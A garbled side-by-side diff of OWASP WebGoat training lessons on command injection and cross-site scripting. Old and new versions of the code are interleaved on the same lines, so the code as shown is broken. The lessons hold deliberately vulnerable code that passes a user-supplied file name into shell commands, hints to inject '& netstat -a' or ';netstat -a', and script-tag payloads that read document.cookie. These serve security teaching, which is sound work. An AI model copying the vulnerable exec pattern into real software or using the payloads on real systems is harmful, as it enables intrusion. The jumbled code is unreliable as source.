* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class CommandInjection extends LessonAdapter public class CommandInjection extends LessonAdapter
{ {
private final static String HELP_FILE = "HelpFile"; private final static String HELP_FILE = "HelpFile";
private String osName = System.getProperty("os.name"); private String osName = System.getProperty("os.name");
/**
/** * Description of the Method
* Description of the Method *
* * @param s
* @param s Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
boolean illegalCommand = getWebgoatContext().isDefuseOSCommands();
try
{ {
String helpFile = s.getParser().getRawParameter(HELP_FILE, ElementContainer ec = new ElementContainer();
"BasicAuthentication.help"); boolean illegalCommand = getWebgoatContext().isDefuseOSCommands();
if (getWebgoatContext().isDefuseOSCommands() try
&& (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1))
{
int index = helpFile.indexOf('&');
if (index == -1)
{ {
index = helpFile.indexOf(';'); String helpFile = s.getParser().getRawParameter(HELP_FILE, "BasicAuthentication.help");
} if (getWebgoatContext().isDefuseOSCommands()
index = index + 1; && (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1))
int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote {
System.out.println("Command = [" int index = helpFile.indexOf('&');
+ helpFile.substring(index, helpFileLen).trim() if (index == -1)
.toLowerCase() + "]"); {
if ((osName.indexOf("Windows") != -1 && (helpFile.substring( index = helpFile.indexOf(';');
index, helpFileLen).trim().toLowerCase().equals( }
"netstat -a") index = index + 1;
|| helpFile.substring(index, helpFileLen).trim() int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote
.toLowerCase().equals("dir") System.out.println("Command = [" + helpFile.substring(index, helpFileLen).trim().toLowerCase() + "]");
|| helpFile.substring(index, helpFileLen).trim() if ((osName.indexOf("Windows") != -1 && (helpFile.substring(index, helpFileLen).trim().toLowerCase()
.toLowerCase().equals("ls") .equals("netstat -a")
|| helpFile.substring(index, helpFileLen).trim() || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir")
.toLowerCase().equals("ifconfig") || helpFile || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls")
.substring(index, helpFileLen).trim().toLowerCase() || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig") || helpFile
.equals("ipconfig"))) .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig")))
|| (helpFile.substring(index, helpFileLen).trim() || (helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("netstat -a #")
.toLowerCase().equals("netstat -a #") || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("dir #")
|| helpFile.substring(index, helpFileLen) || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls #")
.trim().toLowerCase().equals("dir #") || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ls -l #")
|| helpFile.substring(index, helpFileLen) || helpFile.substring(index, helpFileLen).trim().toLowerCase().equals("ifconfig #") || helpFile
.trim().toLowerCase().equals("ls #") .substring(index, helpFileLen).trim().toLowerCase().equals("ipconfig #")))
|| helpFile.substring(index, helpFileLen) {
.trim().toLowerCase().equals("ls -l #") illegalCommand = false;
|| helpFile.substring(index, helpFileLen) }
.trim().toLowerCase().equals( else
"ifconfig #") || helpFile {
.substring(index, helpFileLen).trim() s.setMessage("It appears that you are on the right track. "
.toLowerCase().equals("ipconfig #"))) + "Commands that may compromise the operating system have been disabled. "
{ + "The following commands are allowed: netstat -a, dir, ls, ifconfig, and ipconfig");
illegalCommand = false; }
} }
else
{
s
.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. "
+ "The following commands are allowed: netstat -a, dir, ls, ifconfig, and ipconfig");
}
}
if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1 if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1 && helpFile.indexOf(';') == -1)
&& helpFile.indexOf(';') == -1) {
{ if (helpFile.length() > 0)
if (helpFile.length() > 0) {
{ if (upDirCount(helpFile) <= 3)
if (upDirCount(helpFile) <= 3) {
{ // FIXME: This value isn't used. What is the goal here?
// FIXME: This value isn't used. What is the goal here? s.getContext().getRealPath("/");
s.getContext().getRealPath("/"); illegalCommand = false;
illegalCommand = false; }
} else
else {
{ s.setMessage("It appears that you are on the right track. "
s + "Commands that may compromise the operating system have been disabled. "
.setMessage("It appears that you are on the right track. " + "This lesson is a command injection lesson, not access control.");
+ "Commands that may compromise the operating system have been disabled. " }
+ "This lesson is a command injection lesson, not access control."); }
} else
} {
else // No Command entered.
{ illegalCommand = false;
// No Command entered. }
illegalCommand = false; }
} File safeDir = new File(s.getContext().getRealPath("/lesson_plans"));
}
File safeDir = new File(s.getContext().getRealPath("/lesson_plans"));
ec ec.addElement(new StringElement("You are currently viewing: <b>"
.addElement(new StringElement( + (helpFile.toString().length() == 0 ? "&lt;select file from list below&gt;" : helpFile.toString())
"You are currently viewing: <b>" + "</b>"));
+ (helpFile.toString().length() == 0 ? "&lt;select file from list below&gt;"
: helpFile.toString()) + "</b>"));
if (!illegalCommand) if (!illegalCommand)
{ {
String results; String results;
String fileData = null; String fileData = null;
helpFile = helpFile.replaceAll("\\.help", "\\.html"); helpFile = helpFile.replaceAll("\\.help", "\\.html");
if (osName.indexOf("Windows") != -1) if (osName.indexOf("Windows") != -1)
{
// Add quotes around the filename to avoid having special characters in DOS
// filenames
results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
}
else
{
String[] cmd1 = { "/bin/sh", "-c", "ls \"" + safeDir.getPath() + "\"" };
results = exec(s, cmd1);
String[] cmd2 = { "/bin/sh", "-c", "cat \"" + new File(safeDir, helpFile).getPath() + "\"" };
fileData = exec(s, cmd2);
}
ec.addElement(new P().addElement("Select the lesson plan to view: "));
ec.addElement(ECSFactory.makePulldown(HELP_FILE, parseResults(results.replaceAll("(?s)\\.html",
"\\.help"))));
// ec.addElement( results );
Element b = ECSFactory.makeButton("View");
ec.addElement(b);
// Strip out some of the extra html from the "help" file
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "<br>")
.replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
.replaceAll("<br>\\s<br>", "<br>")));
}
} catch (Exception e)
{ {
// Add quotes around the filename to avoid having special characters in DOS filenames s.setMessage("Error generating " + this.getClass().getName());
results = exec(s, "cmd.exe /c dir /b \"" e.printStackTrace();
+ safeDir.getPath() + "\"");
fileData = exec(s, "cmd.exe /c type \""
+ new File(safeDir, helpFile).getPath() + "\"");
}
else
{
String[] cmd1 = { "/bin/sh", "-c",
"ls \"" + safeDir.getPath() + "\"" };
results = exec(s, cmd1);
String[] cmd2 = {
"/bin/sh",
"-c",
"cat \"" + new File(safeDir, helpFile).getPath()
+ "\"" };
fileData = exec(s, cmd2);
} }
ec.addElement(new P() return (ec);
.addElement("Select the lesson plan to view: "));
ec.addElement(ECSFactory.makePulldown(HELP_FILE,
parseResults(results.replaceAll("(?s)\\.html",
"\\.help"))));
//ec.addElement( results );
Element b = ECSFactory.makeButton("View");
ec.addElement(b);
// Strip out some of the extra html from the "help" file
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new StringElement(fileData.replaceAll(
System.getProperty("line.separator"), "<br>")
.replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll(
"<br><br>", "<br>").replaceAll("<br>\\s<br>",
"<br>")));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
return (ec); private String parseResults(String results)
}
private String parseResults(String results)
{
results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", "");
StringTokenizer st = new StringTokenizer(results, "\n");
StringBuffer modified = new StringBuffer();
while(st.hasMoreTokens())
{
String s = (String)st.nextToken().trim();
if(s.length() > 0 && s.endsWith(".help"))
{
modified.append(s + "\n");
}
}
return modified.toString();
}
public static int upDirCount(String fileName)
{
int count = 0;
// check for "." = %2d
// we wouldn't want anyone bypassing the check by useing encoding :)
// FIXME: I don't think hex endoing will work here.
fileName = fileName.replaceAll("%2d", ".");
int startIndex = fileName.indexOf("..");
while (startIndex != -1)
{ {
count++; results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", "");
startIndex = fileName.indexOf("..", startIndex + 1); StringTokenizer st = new StringTokenizer(results, "\n");
} StringBuffer modified = new StringBuffer();
return count;
}
while (st.hasMoreTokens())
{
String s = (String) st.nextToken().trim();
/** if (s.length() > 0 && s.endsWith(".help"))
* Description of the Method {
* modified.append(s + "\n");
* @param command Description of the Parameter }
* @param s Description of the Parameter }
* @return Description of the Return Value
*/ return modified.toString();
private String exec(WebSession s, String command)
{
System.out.println("Executing OS command: " + command);
ExecResults er = Exec.execSimple(command);
if ((command.indexOf("&") != -1 || command.indexOf(";") != -1)
&& !er.getError())
{
makeSuccess(s);
} }
return (er.toString()); public static int upDirCount(String fileName)
}
/**
* Description of the Method
*
* @param command Description of the Parameter
* @param s Description of the Parameter
* @return Description of the Return Value
*/
private String exec(WebSession s, String[] command)
{
System.out.println("Executing OS command: " + Arrays.asList(command));
ExecResults er = Exec.execSimple(command);
if (!er.getError())
{ {
makeSuccess(s); int count = 0;
// check for "." = %2d
// we wouldn't want anyone bypassing the check by useing encoding :)
// FIXME: I don't think hex endoing will work here.
fileName = fileName.replaceAll("%2d", ".");
int startIndex = fileName.indexOf("..");
while (startIndex != -1)
{
count++;
startIndex = fileName.indexOf("..", startIndex + 1);
}
return count;
} }
return (er.toString()); /**
} * Description of the Method
*
* @param command
* Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
private String exec(WebSession s, String command)
{
System.out.println("Executing OS command: " + command);
ExecResults er = Exec.execSimple(command);
if ((command.indexOf("&") != -1 || command.indexOf(";") != -1) && !er.getError())
{
makeSuccess(s);
}
/** return (er.toString());
* Gets the category attribute of the CommandInjection object }
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Description of the Method
*
* @param command
* Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
private String exec(WebSession s, String[] command)
{
System.out.println("Executing OS command: " + Arrays.asList(command));
ExecResults er = Exec.execSimple(command);
if (!er.getError())
{
makeSuccess(s);
}
/** return (er.toString());
* Gets the hints attribute of the DirectoryScreen object }
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is using a system command to return the contents of a file.");
hints
.add("The ampersand(&) separates commands in the Windows 2000 command shell. In Unix the separator is typically a semi-colon(;)");
hints
.add("Use a proxy to insert & netstat -a on Windows or ;netstat -a on Unix.");
hints
.add("Note that the server may enclose the submitted file name within quotes");
return hints; /**
} * Gets the category attribute of the CommandInjection object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The application is using a system command to return the contents of a file.");
hints
.add("The ampersand(&) separates commands in the Windows 2000 command shell. In Unix the separator is typically a semi-colon(;)");
hints.add("Use a proxy to insert & netstat -a on Windows or ;netstat -a on Unix.");
hints.add("Note that the server may enclose the submitted file name within quotes");
/** return hints;
* Gets the instructions attribute of the ParameterInjection object }
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "Choose the lesson plan you would like to view. "
+ "Try to inject a command to the operating system.";
return (instructions); /**
} * Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "Choose the lesson plan you would like to view. "
+ "Try to inject a command to the operating system.";
private final static Integer DEFAULT_RANKING = new Integer(40); return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(40);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/**
/** * Gets the title attribute of the DirectoryScreen object
* Gets the title attribute of the DirectoryScreen object *
* * @return The title value
* @return The title value */
*/ public String getTitle()
public String getTitle() {
{ return "Command Injection";
return "Command Injection"; }
}
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.CrossSiteScripting; package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile; import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
@ -19,285 +19,264 @@ import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/** /**
/******************************************************************************* * /*******************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
*/ */
public class CrossSiteScripting extends GoatHillsFinancial public class CrossSiteScripting extends GoatHillsFinancial
{ {
private final static Integer DEFAULT_RANKING = new Integer(100); private final static Integer DEFAULT_RANKING = new Integer(100);
public final static String STAGE1 = "Stored XSS"; public final static String STAGE1 = "Stored XSS";
public final static String STAGE2 = "Block Stored XSS using Input Validation"; public final static String STAGE2 = "Block Stored XSS using Input Validation";
public final static String STAGE3 = "Stored XSS Revisited"; public final static String STAGE3 = "Stored XSS Revisited";
public final static String STAGE4 = "Block Stored XSS using Output Encoding"; public final static String STAGE4 = "Block Stored XSS using Output Encoding";
public final static String STAGE5 = "Reflected XSS"; public final static String STAGE5 = "Reflected XSS";
public final static String STAGE6 = "Block Reflected XSS"; public final static String STAGE6 = "Block Reflected XSS";
protected void registerActions(String className) protected void registerActions(String className)
{
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
* Gets the category attribute of the CrossSiteScripting object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
// Stage 1
hints.add("You can put HTML tags in form input fields.");
hints
.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2
hints
.add("Many scripts rely on the use of special characters such as: &lt;");
hints
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints
.add("The java.util.regex package is useful for filtering string values.");
// Stage 3
hints
.add("Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags.");
hints
.add("An HTML entity encoder is provided in the ParameterParser class.");
// Stage 4
hints
.add("Examine content served in response to form submissions looking for data taken from the form.");
// Stage 5
hints
.add("Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");");
return hints;
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{ {
String stage = getStage(s); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
if (STAGE1.equals(stage)) registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
{ registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br>" registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
+ "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
+ "Verify that 'Jerry' is affected by the attack.";
} // These actions are special in that they chain to other actions.
else if (STAGE2.equals(stage)) registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
{ registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
instructions = "Stage 2: Block Stored XSS using Input Validation.<br>" registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
+ "Implement a fix to block the stored XSS before it can be written to the database. " registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
+ "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
else if (STAGE3.equals(stage))
{
instructions = "Stage 3: Execute a previously Stored Cross Site Scripting (XSS) attack.<br>"
+ "The 'Bruce' employee profile is pre-loaded with a stored XSS attack. "
+ "Verify that 'David' is affected by the attack even though the fix from stage 2 is in place.";
}
else if (STAGE4.equals(stage))
{
instructions = "Stage 4: Block Stored XSS using Output Encoding.<br>"
+ "Implement a fix to block XSS after it is read from the database. "
+ "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack.";
}
else if (STAGE5.equals(stage))
{
instructions = "Stage 5: Execute a Reflected XSS attack.<br>"
+ "Use a vulnerability on the Search Staff page to craft a URL containing a reflected XSS attack. "
+ "Verify that another employee using the link is affected by the attack.";
}
else if (STAGE6.equals(stage))
{
instructions = "Stage 6: Block Reflected XSS using Input Validation.<br>"
+ "Implement a fix to block this reflected XSS attack. "
+ "Repeat step 5. Verify that the attack URL is no longer effective.";
}
} }
return instructions; /**
* Gets the category attribute of the CrossSiteScripting object
} *
* @return The category value
@Override */
public String[] getStages() { public Category getDefaultCategory()
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6};
return new String[] {STAGE1, STAGE3, STAGE5};
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{ {
requestedActionName = s.getParser().getStringParameter("action"); return Category.XSS;
} }
catch (ParameterNotFoundException pnfe)
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{ {
// Let them eat login page. List<String> hints = new ArrayList<String>();
requestedActionName = LOGIN_ACTION;
// Stage 1
hints.add("You can put HTML tags in form input fields.");
hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2
hints.add("Many scripts rely on the use of special characters such as: &lt;");
hints
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints.add("The java.util.regex package is useful for filtering string values.");
// Stage 3
hints
.add("Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags.");
hints.add("An HTML entity encoder is provided in the ParameterParser class.");
// Stage 4
hints.add("Examine content served in response to form submissions looking for data taken from the form.");
// Stage 5
hints
.add("Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");");
return hints;
} }
if (requestedActionName != null) /**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{ {
try String instructions = "";
{
LessonAction action = getAction(requestedActionName);
if (action != null) if (!getLessonTracker(s).getCompleted())
{ {
if (!action.requiresAuthentication() String stage = getStage(s);
|| action.isAuthenticated(s)) if (STAGE1.equals(stage))
{ {
action.handleRequest(s); instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br>"
//setCurrentAction(s, action.getNextPage(s)); + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
} + "Verify that 'Jerry' is affected by the attack.";
}
else if (STAGE2.equals(stage))
{
instructions = "Stage 2: Block Stored XSS using Input Validation.<br>"
+ "Implement a fix to block the stored XSS before it can be written to the database. "
+ "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
}
else if (STAGE3.equals(stage))
{
instructions = "Stage 3: Execute a previously Stored Cross Site Scripting (XSS) attack.<br>"
+ "The 'Bruce' employee profile is pre-loaded with a stored XSS attack. "
+ "Verify that 'David' is affected by the attack even though the fix from stage 2 is in place.";
}
else if (STAGE4.equals(stage))
{
instructions = "Stage 4: Block Stored XSS using Output Encoding.<br>"
+ "Implement a fix to block XSS after it is read from the database. "
+ "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack.";
}
else if (STAGE5.equals(stage))
{
instructions = "Stage 5: Execute a Reflected XSS attack.<br>"
+ "Use a vulnerability on the Search Staff page to craft a URL containing a reflected XSS attack. "
+ "Verify that another employee using the link is affected by the attack.";
}
else if (STAGE6.equals(stage))
{
instructions = "Stage 6: Block Reflected XSS using Input Validation.<br>"
+ "Implement a fix to block this reflected XSS attack. "
+ "Repeat step 5. Verify that the attack URL is no longer effective.";
}
} }
else
{ return instructions;
setCurrentAction(s, ERROR_ACTION);
}
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
} }
// All this does for this lesson is ensure that a non-null content exists. @Override
setContent(new ElementContainer()); public String[] getStages()
} {
if (getWebgoatContext().isCodingExercises())
return new String[] { STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6 };
return new String[] { STAGE1, STAGE3, STAGE5 };
}
protected Integer getDefaultRanking() public void handleRequest(WebSession s)
{ {
return DEFAULT_RANKING; if (s.getLessonSession(this) == null) s.openLessonSession(this);
}
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
/** if (requestedActionName != null)
* Gets the title attribute of the CrossSiteScripting object {
* try
* @return The title value {
*/ LessonAction action = getAction(requestedActionName);
public String getTitle()
{ if (action != null)
return "LAB: Cross Site Scripting"; {
} if (!action.requiresAuthentication() || action.isAuthenticated(s))
{
action.handleRequest(s);
// setCurrentAction(s, action.getNextPage(s));
}
}
else
{
setCurrentAction(s, ERROR_ACTION);
}
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
* @return The title value
*/
public String getTitle()
{
return "LAB: Cross Site Scripting";
}
public String htmlEncode(WebSession s, String text) public String htmlEncode(WebSession s, String text)
{ {
if (STAGE4.equals(getStage(s)) && if (STAGE4.equals(getStage(s)) && text.indexOf("<script>") > -1 && text.indexOf("alert") > -1
text.indexOf("<script>") > -1 && text.indexOf("alert") > -1 && text.indexOf("</script>") > -1) && text.indexOf("</script>") > -1)
{ {
setStageComplete(s, STAGE4); setStageComplete(s, STAGE4);
s.setMessage( "Welcome to stage 5 -- exploiting the data layer" ); s.setMessage("Welcome to stage 5 -- exploiting the data layer");
} }
return HtmlEncoder.encode(text); return HtmlEncoder.encode(text);

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.CrossSiteScripting; package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
@ -12,184 +12,150 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
